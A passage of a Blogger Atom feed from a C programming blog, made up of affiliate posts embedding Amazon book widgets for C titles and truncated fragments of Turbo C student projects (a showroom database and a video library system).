src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7546855997663827088</id><published>2011-03-24T01:27:00.001-07:00</published><updated>2011-03-24T01:27:22.296-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Beginner's Guide To Embedded C Programming: Using Th…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1438231598&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7546855997663827088?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7546855997663827088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/beginners-guide-to-embedded-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7546855997663827088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7546855997663827088'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/beginners-guide-to-embedded-c.html' title='Beginner&apos;s Guide To Embedded C Programming: Using Th…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6364852509332916053</id><published>2011-03-24T01:26:00.003-07:00</published><updated>2011-03-24T01:26:49.213-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Schaum's Outline of Programming with C</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0070240353&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6364852509332916053?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6364852509332916053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/schaums-outline-of-programming-with-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6364852509332916053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6364852509332916053'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/schaums-outline-of-programming-with-c.html' title='Schaum&apos;s Outline of Programming with C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-427999590056827259</id><published>2011-03-24T01:26:00.001-07:00</published><updated>2011-03-24T01:26:16.128-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Mastering Algorithms with C</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1565924533&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-427999590056827259?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/427999590056827259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/mastering-algorithms-with-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/427999590056827259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/427999590056827259'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/mastering-algorithms-with-c.html' title='Mastering Algorithms with C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1549978157812585729</id><published>2011-03-24T01:25:00.001-07:00</published><updated>2011-03-24T01:25:46.196-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>LEGO Mindstorms NXT Power Programming: Robotics in C</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0973864974&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1549978157812585729?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1549978157812585729/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/lego-mindstorms-nxt-power-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1549978157812585729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1549978157812585729'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/lego-mindstorms-nxt-power-programming.html' title='LEGO Mindstorms NXT Power Programming: Robotics in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5295813009679019863</id><published>2011-03-24T01:24:00.002-07:00</published><updated>2011-03-24T01:24:39.953-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming: A Modern Approach</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0393969460&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5295813009679019863?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5295813009679019863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-modern-approach.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5295813009679019863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5295813009679019863'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-modern-approach.html' title='Programming: A Modern Approach'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6435766233145178148</id><published>2011-03-24T01:24:00.000-07:00</published><updated>2011-03-24T01:24:01.762-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Expert C Programming</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0131774298&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6435766233145178148?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6435766233145178148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/expert-c-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6435766233145178148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6435766233145178148'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/expert-c-programming.html' title='Expert C Programming'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2177508531163547055</id><published>2011-03-24T01:22:00.002-07:00</published><updated>2011-03-24T01:22:56.111-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'></title><content type='html'>&lt;a target="_blank"  href="http://www.amazon.com/s/?ie=UTF8&amp;tag=ilo0ab-20&amp;link_code=btl&amp;camp=213689&amp;creative=392969&amp;search-alias=aps&amp;field-keywords=c programming"&gt;Search Amazon.com  for c programming&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=ilo0ab-20&amp;l=btl&amp;camp=213689&amp;creative=392969&amp;o=1&amp;a=" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important; padding: 0px !important" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2177508531163547055?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2177508531163547055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/search-amazon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2177508531163547055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2177508531163547055'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/search-amazon.html' title=''/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-199328342158417143</id><published>2011-03-24T01:22:00.000-07:00</published><updated>2011-03-24T01:22:13.737-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming in Objective-C 2.0 (3rd Edition) (Developer's Lib…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0321711394&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-199328342158417143?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/199328342158417143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-objective-c-20-3rd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/199328342158417143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/199328342158417143'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-objective-c-20-3rd.html' title='Programming in Objective-C 2.0 (3rd Edition) (Developer&apos;s Lib…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3359238558834972281</id><published>2011-03-24T01:21:00.000-07:00</published><updated>2011-03-24T01:21:20.529-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Beginning Mac Programming: Develop with Objective-C and Co…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1934356514&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3359238558834972281?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3359238558834972281/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/beginning-mac-programming-develop-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3359238558834972281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3359238558834972281'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/beginning-mac-programming-develop-with.html' title='Beginning Mac Programming: Develop with Objective-C and Co…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-51122940857149407</id><published>2011-03-24T01:20:00.000-07:00</published><updated>2011-03-24T01:20:07.651-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C All-in-One Desk Reference For Dummies</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0764570692&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-51122940857149407?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/51122940857149407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-all-in-one-desk-reference-for-dummies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/51122940857149407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/51122940857149407'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-all-in-one-desk-reference-for-dummies.html' title='C All-in-One Desk Reference For Dummies'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-4474153130110331531</id><published>2011-03-24T01:17:00.001-07:00</published><updated>2011-03-24T01:17:35.514-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Programming: A Modern Approach, 2nd Edition</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0393979504&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-4474153130110331531?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/4474153130110331531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-modern-approach-2nd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4474153130110331531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4474153130110331531'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-modern-approach-2nd.html' title='C Programming: A Modern Approach, 2nd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8069958553717054262</id><published>2011-03-24T01:16:00.001-07:00</published><updated>2011-03-24T01:16:54.063-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Programming for the Absolute Beginner</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1598634801&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8069958553717054262?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8069958553717054262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-for-absolute-beginner.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8069958553717054262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8069958553717054262'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-for-absolute-beginner.html' title='C Programming for the Absolute Beginner'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-497741639263029843</id><published>2011-03-24T01:15:00.000-07:00</published><updated>2011-03-24T01:15:20.271-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming in Objective-C 2.0 (2nd Edition)</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0321566157&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-497741639263029843?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/497741639263029843/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-objective-c-20-2nd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/497741639263029843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/497741639263029843'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-objective-c-20-2nd.html' title='Programming in Objective-C 2.0 (2nd Edition)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3035502322144236014</id><published>2011-03-20T20:24:00.002-07:00</published><updated>2011-03-20T20:24:51.089-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Showroom Database System - Project</title><content type='html'>#include stdlib.h&lt;br /&gt;#include string.h&lt;br /&gt;&lt;br /&gt;void owner_entry(void);&lt;br /&gt;void owner_read(long);&lt;br /&gt;void car_entry(void);&lt;br /&gt;void car_read(void);&lt;br /&gt;long customer_entry(void);&lt;br /&gt;void customer_read(void);&lt;br /&gt;void car_match(int);&lt;br /&gt;void customer_match(long);&lt;br /&gt;void my_logo(void);&lt;br /&gt;&lt;br /&gt;void main(void)&lt;br /&gt;{&lt;br /&gt;int choice;char ch[1];int i=2,flag=1;&lt;br /&gt;long demand;&lt;br /&gt;int gd=DETECT ,gm;&lt;br /&gt;initgraph(&amp;gd,&amp;gm,"c:\tc\bgi");&lt;br /&gt;my_logo();&lt;br /&gt;setbkcolor(1);&lt;br /&gt;A:&lt;br /&gt;cleardevice();&lt;br /&gt;setfillstyle(i,9);&lt;br /&gt;floodfill(1,1,1);&lt;br /&gt;settextstyle(5,0,4);&lt;br /&gt;outtextxy(0,0,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");&lt;br /&gt;outtextxy(0,30,"ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄMAIN MENUÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");&lt;br /&gt;outtextxy(0,60,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");&lt;br /&gt;outtextxy(0,90,"1. New Owner Entry with his car specification.");&lt;br /&gt;outtextxy(0,120,"2. New Customer Entry.");&lt;br /&gt;outtextxy(0,150,"3. View all available cars.");&lt;br /&gt;outtextxy(0,180,"4. View all customers.");&lt;br /&gt;outtextxy(0,210,"5. Exit.");&lt;br /&gt;outtextxy(0,240,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");&lt;br /&gt;outtextxy(0,270,"Enter your choice(1-5) : ");&lt;br /&gt;outtextxy(0,300,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");&lt;br /&gt;ch[0]=getch();&lt;br /&gt;ch[1]='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3035502322144236014?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3035502322144236014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/showroom-database-system-project.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3035502322144236014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3035502322144236014'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/showroom-database-system-project.html' title='Showroom Database System - Project'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2910999808083334342</id><published>2011-03-20T20:24:00.000-07:00</published><updated>2011-03-20T20:24:14.408-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Video Library Management System (Project)</title><content type='html'>/*--------------------------------------------------------------------*/&lt;br /&gt;/*--------------------------------------------------------------------*/&lt;br /&gt;/*--------------------------------------------------------------------*/&lt;br /&gt;/*          VIDEO LIBRARY MANAGEMENT SYSTEM        */&lt;br /&gt;/*--------------------------------------------------------------------*/&lt;br /&gt;/*--------------------------------------------------------------------*/&lt;br /&gt;/*--------------------------------------------------------------------*/&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include dos.h&lt;br /&gt;#include string.h&lt;br /&gt;#include graphics.h&lt;br /&gt;#define PATH ". gi"&lt;br /&gt;#define TBG textbackground(WHITE);textcolor(BLUE)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;typedef struct customer&lt;br /&gt;    {&lt;br /&gt;     long id;&lt;br /&gt;     char name[20];&lt;br /&gt;     char pn[12];&lt;br /&gt;     char address[40];&lt;br /&gt;     char category;&lt;br /&gt;     int doj[3];&lt;br /&gt;    }cust;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;typedef struct movie&lt;br /&gt;    {&lt;br /&gt;     long id;&lt;br /&gt;     char title[25];&lt;br /&gt;     int copy;&lt;br /&gt;     int cponshelf;&lt;br /&gt;     int issue;&lt;br /&gt;     char sid[20];&lt;br /&gt;     int loc;&lt;br /&gt;    }mov;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;typedef struct transaction&lt;br /&gt;    {&lt;br /&gt;     long invoice;&lt;br /&gt;     int doi[3];&lt;br /&gt;     int dor[3];&lt;br /&gt;     char title[25];&lt;br /&gt;     int fine;&lt;br /&gt;     long cid;&lt;br /&gt;     char 